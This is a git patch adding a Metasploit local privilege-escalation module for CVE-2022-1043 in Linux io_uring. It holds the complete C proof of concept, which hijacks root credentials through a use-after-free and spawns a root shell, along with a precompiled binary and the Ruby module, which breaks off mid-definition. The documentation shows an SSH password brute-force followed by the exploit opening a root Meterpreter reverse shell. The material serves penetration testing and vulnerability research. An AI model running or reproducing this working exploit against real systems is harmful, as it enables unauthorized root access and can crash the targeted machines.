From 8d58eb62793d33c38ccfbc40a284d85a3167de2a Mon Sep 17 00:00:00 2001 From: h00die Date: Sat, 26 Nov 2022 13:52:23 -0500 Subject: [PATCH] cve-2022-1043 --- data/exploits/CVE-2022-1043/cve-2022-1043.c | 476 ++++++++++++++++++ data/exploits/CVE-2022-1043/pre-compiled | Bin 0 -> 22168 bytes .../local/cve_2022_1043_io_uring_priv_esc.md | 113 +++++ .../local/cve_2022_1043_io_uring_priv_esc.rb | 136 +++++ 4 files changed, 725 insertions(+) create mode 100644 data/exploits/CVE-2022-1043/cve-2022-1043.c create mode 100644 data/exploits/CVE-2022-1043/pre-compiled create mode 100644 documentation/modules/exploit/linux/local/cve_2022_1043_io_uring_priv_esc.md create mode 100644 modules/exploits/linux/local/cve_2022_1043_io_uring_priv_esc.rb diff --git a/data/exploits/CVE-2022-1043/cve-2022-1043.c b/data/exploits/CVE-2022-1043/cve-2022-1043.c new file mode 100644 index 0000000000..a38405e599 --- /dev/null +++ b/data/exploits/CVE-2022-1043/cve-2022-1043.c @@ -0,0 +1,476 @@ +/* PoC for CVE-2022-1043, a bug in io_uring leading to an additional put_cred() + * that can be exploited to hijack credentials of other processes. + * + * We spawn SUID programs to get the free'd cred object reallocated by a + * privileged process and abuse them to create a SUID root binary ourselves + * that'll pop a shell. + * + * The dangling cred pointer will, however, lead to a kernel panic as soon as + * the task terminates and its credentials are destroyed. We therefore detach + * from the controlling terminal, block all signals and rest in silence until + * the system shuts down and we get killed hard, just to cry in vain, seeing + * the kernel collapse. + * + * The bug affected kernels from v5.12-rc3 to v5.14-rc7 and has been fixed by + * commit a30f895ad323 ("io_uring: fix xa_alloc_cycle() error return value + * check"). + * + * user@box:~$ gcc -pthread cve-2022-1043.c -o cve-2022-1043 + * user@box:~$ ./cve-2022-1043 + * [~] forking helper process... + * [~] creating worker threads... + * [~] ID wrapped after 65536 allocation attempts! (id = 1) + * [~] ID wrapped again after 131071 allocation attempts! (id = 1) + * [~] waiting for creds to get reallocated... + * [.] reused by uninteresting EUID -16843010 (PaX MEMORY_SANITIZE?) + * [.] reused by uninteresting EUID 1000 + * [*] waiting for root shell... + * # id + * uid=0(root) gid=0(root) groups=0(root),1000(user) + * + * (c) 2022 Open Source Security, Inc. + * + * - minipli + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define MEM_SANITIZE_UID ((uid_t)0xfefefefefefefefe) +#define IORING_ID_MAX USHRT_MAX + +#if 0 +#define SUID_HELPER "/bin/passwd", "-S" +#else +#define SUID_HELPER "/usr/bin/su" /* noisier, but faster! */ +#endif +#define NUM_PROCS 10 + +extern char **environ; + +static struct shmem { volatile int check; } *shmem; +static int process_pipes[2][2] = { { -1, -1 }, { -1, -1 } }; +static int thread_pipe[2] = { -1, -1 }; +static __thread bool allowed_to_die = true; +static int fd = -1; + +#ifndef __NR_io_uring_setup +#define __NR_io_uring_setup 425 +#endif +static int io_uring_setup(unsigned int entries, struct io_uring_params *p) +{ + return syscall(__NR_io_uring_setup, entries, p); +} + +#ifndef __NR_io_uring_register +#define __NR_io_uring_register 427 +#endif +static int io_uring_register(int fd, unsigned int oc, void *arg, + unsigned int nr_args) +{ + return syscall(__NR_io_uring_register, fd, oc, arg, nr_args); +} + +static void zombify(int closefds) { + sigset_t set; + + sigfillset(&set); + sigprocmask(SIG_BLOCK, &set, NULL); + + if (closefds) { + close(process_pipes[0][0]); + close(process_pipes[0][1]); + close(process_pipes[1][0]); + close(process_pipes[1][1]); + close(thread_pipe[0]); + close(thread_pipe[1]); + close(0); + close(1); + close(2); + } + + for (;;) + pause(); +} + +#define _msg(e, fmt,...) msg(e, fmt "\n", ##__VA_ARGS__) +#define die(fmt,...) _msg(1, "[!] " fmt, ##__VA_ARGS__) +#define err(fmt,...) _msg(1, "[!] " fmt ": %m", ##__VA_ARGS__) +#define warn(fmt,...) _msg(0, "[-] " fmt, ##__VA_ARGS__) +#define info(fmt,...) _msg(0, "[~] " fmt, ##__VA_ARGS__) +#define info2(fmt,...) _msg(0, "[.] " fmt, ##__VA_ARGS__) +#define info3(fmt,...) _msg(0, "[*] " fmt, ##__VA_ARGS__) + +static void msg(int die, const char *fmt,...) __attribute__((format(printf,2,3))); +static void msg(int die, const char *fmt,...) { + va_list va; + + va_start(va, fmt); + vprintf(fmt, va); + va_end(va); + + if (die) { + if (!allowed_to_die) { + warn("not allowed to die, zombie time!"); + zombify(1); + } else + exit(1); + } +} + +static bool pin_cpu(int cpu) { + cpu_set_t cpus; + + CPU_ZERO(&cpus); + CPU_SET(cpu, &cpus); + + return !!sched_setaffinity(0, sizeof(cpus), &cpus); +} + +static bool is_suid(const char *path) { + struct stat buf; + + if (stat(path, &buf)) + return false; + + return buf.st_uid == 0 && (buf.st_mode & 04111) == 04111; +} + +static void *do_trigger(void *arg) { + uid_t uid, last_uid; + int last, ret, i; + int wrapped; + + /* Plan: + * - setuid(getuid()) to get some fresh unshared creds + * - register/unregister loop until ID wrapped twice (and cred put) + * - switch CPU and signal helper to unregister and do the final put of our + * creds to avoid hitting sanity checks in __put_cred() + * - wait until cred got reallocated by a privileged process + * - pin hijacked cred by registering once more + * - abuse creds to make /proc/self/exe SUID root + * - rest in silence + */ + + /* Get a fresh cred object */ + uid = getuid(); + if (setuid(uid)) + err("%s: setuid(%d)", __func__, uid); + + /* Trigger bug by making the ID wrap */ + wrapped = 0; + ret = last = -1; + for (i = 0; i < 2 * IORING_ID_MAX + 1; i++) { + ret = io_uring_register(fd, IORING_REGISTER_PERSONALITY, NULL, 0); + if (ret < 0) { + err("%s: io_uring_register(IORING_REGISTER_PERSONALITY) # %d", + __func__, i); + } + + if (last < ret) + last = ret; + + if (ret < last) { + info("ID wrapped%s after %d allocation attempts! (id = %d)", + wrapped ? " again" : "", i+1, ret); + + /* We do the first put ourselves, only the final one needs to be + * done by a different task. + */ + wrapped++; + if (wrapped == 2) + break; + + last = ret; + } + + if (io_uring_register(fd, IORING_UNREGISTER_PERSONALITY, NULL, ret)) { + err("%s: io_uring_register(IORING_UNREGISTER_PERSONALITY, %d)", + __func__, ret); + } + } + + /* If we triggered the bug, we have no valid creds any more, we're not + * allowed to terminate! + */ + if (wrapped) + allowed_to_die = false; + + if (wrapped < 2) { + die("IDs didn't wrap%s after %d allocation attempts?!?", + wrapped ? " often enough" : "", i); + } + + /* Switch CPUs to not trip the checks in __put_cred() about destroying our + * own creds via the RCU worker. + */ + if (pin_cpu(1)) + err("%s: failed to pin to CPU #%d", __func__, 1); + + /* Signal helper to unregister */ + if (write(thread_pipe[1], &ret, sizeof(ret)) < (int)sizeof(ret)) + err("%s: failed to signal helper thread", __func__); + + /* Wait for creds to be reallocated by a privileged process */ + info("waiting for creds to get reallocated..."); + + last_uid = uid; + for (;;) { + static int print_limit = 5; + uid_t new_uid; + char ch; + + /* Wait for a flock of root creds getting allocated */ + while (!shmem->check) + usleep(1); + + /* Non-faulting sanity checks first */ + if (prctl(PR_GET_SECUREBITS, 0, 0, 0, 0) != 0) + goto next_batch; + + for (i = 0; i < 40; i++) { + if (prctl(PR_CAPBSET_READ, i, 0, 0, 0) != 1) + goto next_batch; + } + + /* Check EUID, as we're spawning SUID processes */ + new_uid = geteuid(); + if (new_uid == 0) + break; + + /* Show some progress along the way... */ + if (new_uid != last_uid && print_limit) { + bool mem_sanititze = new_uid == MEM_SANITIZE_UID; + + info2("reused by uninteresting EUID %d%s", new_uid, + mem_sanititze ? " (PaX MEMORY_SANITIZE?)" : ""); + + print_limit--; + if (print_limit == 0) + info("muting further changes, waiting for root creds!"); + } + + last_uid = new_uid; + +next_batch: /* Reap the zombies and try again */ + shmem->check = 0; + } + + /* Prevent the hijacked creds from vanishing under us by grabbing another + * reference. + */ + ret = io_uring_register(fd, IORING_REGISTER_PERSONALITY, NULL, 0); + if (ret < 0) + err("%s: io_uring_register(IORING_REGISTER_PERSONALITY) for foreign cred pinning", + __func__); + + /* Give any possibly pending LSM setup time to finish. */ + usleep(250 * 1000); + + /* Make this binary SUID root */ + if (chown("/proc/self/exe", 0, (gid_t)-1)) + err("chown() failed! bad creds?"); + + if (chmod("/proc/self/exe", 04755)) + err("chmod() failed! bad creds?"); + + info3("waiting for root shell..."); + + /* Let the spawner reap the zombies and spawn our shell. */ + shmem->check = 0; + + zombify(1); + + return arg; +} + +static void *do_unregister(void *arg) { + int id; + + /* Wait for do_trigger() to align the stars^Wcreds */ + switch (read(thread_pipe[0], &id, sizeof(id))) { + case sizeof(id): + break; + case 0: + return arg; + default: + err("%s: read()", __func__); + } + + /* Final put_cred() for the other thread's creds */ + if (io_uring_register(fd, IORING_UNREGISTER_PERSONALITY, NULL, id)) { + err("%s: io_uring_register(IORING_UNREGISTER_PERSONALITY, %d)", + __func__, id); + } + + /* Let the SUID spawner know we're ready */ + if (write(process_pipes[0][1], "1", 1) <= 0) + err("%s: write(pipe)", __func__); + + return arg; +} + +static void suid_spawner(int pipe_rd, int pipe_wr) { + char *argv[] = { SUID_HELPER, NULL }; + int procs = 0; + char ch; + + shmem->check = 0; + + if (prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0) < 0) + err("%s: prctl(PR_SET_PDEATHSIG)", __func__); + + /* Signal we're ready */ + if (write(pipe_wr, "1", 1) <= 0) + err("%s: write(pipe)", __func__); + + /* Wait for the trigger */ + if (read(pipe_rd, &ch, sizeof(ch)) <= 0) + err("%s: read(pipe)", __func__); + + for (;;) { + /* Break as soon as we were able to exploit the hijacked privs */ + if (is_suid("/proc/self/exe")) { + while (procs--) + wait(NULL); + + execve("/proc/self/exe", (char *const []){ "pwn", NULL }, environ); + err("%s: exec(self)", __func__); + } + + switch (fork()) { + case -1: + usleep(1); + break; + case 0: + /* Ensure the forked helper stays silent */ + close(0); close(1); close(2); + execve(argv[0], argv, environ); + exit(1); + default: + procs++; + } + + if (procs >= NUM_PROCS) { + /* Sync with do_trigger() before reaping processes */ + shmem->check = 1; + while (shmem->check) + usleep(1); + if (wait(NULL) > 0) + procs--; + while (waitpid(-1, NULL, WNOHANG) > 0) + procs--; + } + } +} + +static int child(void) { + struct io_uring_params p = { }; + pthread_t threads[2]; + + if (daemon(1, 1)) + err("parent: daemon()"); + + fd = io_uring_setup(1, &p); + if (fd < 0) + err("parent: io_uring_setup()"); + + info("creating worker threads..."); + if (pipe(thread_pipe)) + err("parent: pipe()"); + + if (pthread_create(&threads[0], NULL, do_trigger, NULL) || + pthread_create(&threads[1], NULL, do_unregister, NULL)) + err("pthread_create()"); + + pthread_join(threads[1], NULL); + /* do_trigger() zombifies itself, no need to wait for it */ + zombify(0); + + return 1; +} + +int main(void) { + pid_t pid; + char ch; + + if (!getuid()) + die("ahem..."); + + /* Fast lane for the SUID path */ + if (!geteuid()) { + char *const argv[] = { "-sh", NULL }; + + if (setuid(0) || setgid(0)) + err("set*id(0)"); + + execve("/bin/sh", argv, NULL); + err("execve('/bin/sh') failed"); + } + + /* Ensure all tasks start on the same CPU to share SLUB's partial slabs */ + if (pin_cpu(0)) + err("failed to pin to CPU #%d", 0); + + info("forking helper process..."); + if (pipe(process_pipes[0]) < 0 || pipe(process_pipes[1]) < 0) + err("pipe()"); + + shmem = mmap(NULL, sysconf(_SC_PAGESIZE), PROT_READ | PROT_WRITE, + MAP_ANONYMOUS | MAP_SHARED, -1, 0); + if (shmem == MAP_FAILED) + err("mmap(shmem"); + + pid = fork(); + switch (pid) { + case 0: suid_spawner(process_pipes[0][0], process_pipes[1][1]); + /* fall-through -- not! */ + case -1: err("fork()"); + } + + /* Wait till the child is ready to ensure proper process reaping */ + if (read(process_pipes[1][0], &ch, sizeof(ch)) <= 0) + err("parent: read(pipe)"); + + /* Detach from the controlling terminal, we might need to sleep forever */ + switch (fork()) { + int status; + default: wait(&status); break; + case -1: err("fork()"); break; + case 0: exit(child()); + } + + /* Wait for the SUID spawner to finish */ + waitpid(pid, NULL, 0); + + return 0; +} \ No newline at end of file diff --git a/data/exploits/CVE-2022-1043/pre-compiled b/data/exploits/CVE-2022-1043/pre-compiled new file mode 100644 index 0000000000000000000000000000000000000000..f80fc8a4099539ac58a6c6c35819e95909b296dd GIT binary patch literal 22168 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 literal 0 HcmV?d00001 diff --git a/documentation/modules/exploit/linux/local/cve_2022_1043_io_uring_priv_esc.md b/documentation/modules/exploit/linux/local/cve_2022_1043_io_uring_priv_esc.md new file mode 100644 index 0000000000..b738950527 --- /dev/null +++ b/documentation/modules/exploit/linux/local/cve_2022_1043_io_uring_priv_esc.md @@ -0,0 +1,113 @@ +## Vulnerable Application + +This module exploits a bug in io_uring leading to an additional `put_cred()` +that can be exploited to hijack credentials of other processes. + +We spawn SUID programs to get the free'd cred object reallocated by a +privileged process and abuse them to create a SUID root binary ourselves +that'll pop a shell. + +The dangling cred pointer will, however, lead to a kernel panic as soon as +the task terminates and its credentials are destroyed. We therefore detach +from the controlling terminal, block all signals and rest in silence until +the system shuts down and we get killed hard, just to cry in vain, seeing +the kernel collapse. + +The bug affected kernels from v5.12-rc3 to v5.14-rc7. + +Successfully tested against Ubuntu 22.04.01 with kernel 5.13.12-051312-generic + +### Install + +To install a vulnerable kernel on Ubuntu 22.04.01, follow these instructions: + +1. Download the `linux-*` modules for a vulnerable kernel, such as https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.13.12/amd64/ +2. Install `libssl.1` (https://askubuntu.com/a/1403683) + 1. `echo "deb http://security.ubuntu.com/ubuntu focal-security main" | sudo tee /etc/apt/sources.list.d/focal-security.list` + 2. `sudo apt-get update` + 3. `sudo apt-get install libssl1.1` + 4. `sudo rm /etc/apt/sources.list.d/focal-security.list` +3. `sudo apt-get install build-essential` +4. `sudo dpkg -i *.deb` +5. Follow [these instructions](https://gist.github.com/chaiyujin/c08e59752c3e238ff3b1a5098322b363) to boot the vuln kernel +6. `sudo reboot` + +## Verification Steps + +1. Start msfconsole +2. Get an initial user shell +3. Do: `use linux/local/cve_2022_1043_io_uring_priv_esc` +4. Do: `set session #` +5. Do: `run` +6. You should get a root shell. + +## Options + +## Scenarios + +### Ubuntu 22.04.01 with kernel 5.13.12-051312-generic + +Gain initial user access + +``` +msf6 > use auxiliary/scanner/ssh/ssh_login +msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts 1.1.1.1 +rhosts => 1.1.1.1 +msf6 auxiliary(scanner/ssh/ssh_login) > set username ubuntu +username => ubuntu +msf6 auxiliary(scanner/ssh/ssh_login) > set password ubuntu +password => ubuntu +msf6 auxiliary(scanner/ssh/ssh_login) > run +[*] 1.1.1.1:22 - Starting bruteforce +[+] 1.1.1.1:22 - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd) Linux ubuntu2204 5.13.12-051312-generic #202108180838 SMP Wed Aug 18 08:41:42 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux ' +[*] SSH session 1 opened (2.2.2.2:40003 -> 1.1.1.1:22) at 2022-11-25 08:47:08 -0500 +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf6 auxiliary(scanner/ssh/ssh_login) > sessions -i 1 +[*] Starting interaction with 1... +id +uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd) +^Z +Background session 1? [y/N] y +``` + +priv esc + +``` +msf6 auxiliary(scanner/ssh/ssh_login) > use linux/local/cve_2022_1043_io_uring_priv_esc +[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp +msf6 exploit(linux/local/cve_2022_1043_io_uring_priv_esc) > set session 1 +session => 1 +msf6 exploit(linux/local/cve_2022_1043_io_uring_priv_esc) > set verbose true +verbose => true +msf6 exploit(linux/local/cve_2022_1043_io_uring_priv_esc) > exploit +[!] SESSION may not be compatible with this module: +[!] * incompatible session architecture: +[*] Started reverse TCP handler on 2.2.2.2:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] Kernel version 5.13.12-051312-generic appears to be vulnerable +[+] The target is vulnerable. > 1 CPU required, detected: 2 +[+] gcc is installed +[*] Live compiling exploit on system... +[*] Max line length is 65537 +[*] Writing 8074 bytes in 1 chunks of 29166 bytes (octal-encoded), using printf +[*] Writing '/tmp/.5wGdoS' (282 bytes) ... +[*] Max line length is 65537 +[*] Writing 282 bytes in 1 chunks of 843 bytes (octal-encoded), using printf +[*] Launching exploit... +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045348 bytes) to 1.1.1.1 +[*] [~] forking helper process... +[+] Deleted /tmp/.iMpuegK0 +[+] Deleted /tmp/.5wGdoS +[*] Meterpreter session 2 opened (2.2.2.2:4444 -> 1.1.1.1:35026) at 2022-11-25 17:18:36 -0500 + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 1.1.1.1 +OS : Ubuntu 22.04 (Linux 5.13.12-051312-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +``` diff --git a/modules/exploits/linux/local/cve_2022_1043_io_uring_priv_esc.rb b/modules/exploits/linux/local/cve_2022_1043_io_uring_priv_esc.rb new file mode 100644 index 0000000000..5c3c998deb --- /dev/null +++ b/modules/exploits/linux/local/cve_2022_1043_io_uring_priv_esc.rb @@ -0,0 +1,136 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = GreatRanking # https://github.com/rapid7/metasploit-framework/wiki/Exploit-Ranking + + include Msf::Post::Linux::Priv + include Msf::Post::Linux::System + include Msf::Post::Linux::Kernel + include Msf::Post::File + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + include Msf::Post::Linux::Compile + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'io_uring Same Type Object Reuse Priv Esc', + 'Description' => %q{ + This module exploits a bug in io_uring leading to an additional put_cred() + that can be exploited to hijack credentials of other processes. + + We spawn SUID programs to get the free'd cred object reallocated by a + privileged process and abuse them to create a SUID root binary ourselves + that'll pop a shell. + + The dangling cred pointer will, however, lead to a kernel panic as soon as + the task terminates and its credentials are destroyed. We therefore detach + from the controlling terminal, block all signals and rest in silence until + the system shuts down and we get killed hard, just to cry in vain, seeing + the kernel collapse. + + The bug affected kernels from v5.12-rc3 to v5.14-rc7. + + Successfully tested against Ubuntu 22.04.01 with kernel 5.13.12-051312-generic + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die', # msf module + 'Ryota Shiga', # discovery + 'Mathias Krause' # original PoC, analysis + ], + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => [[ 'Auto', {} ]], + 'Privileged' => true, + 'References' => [ + [ 'URL', 'https://grsecurity.net/exploiting_and_defending_against_same_type_object_reuse' ], + [ 'URL', 'https://github.com/opensrcsec/same_type_object_reuse_exploits' ], + [ 'URl', 'https://github.com/torvalds/linux/commit/a30f895ad3239f45012e860d4f94c1a388b36d14' ], + [ 'CVE', '2022-1043' ] + ], + 'DisclosureDate' => '2022-03-22', + 'DefaultOptions' => { + 'PAYLOAD' => 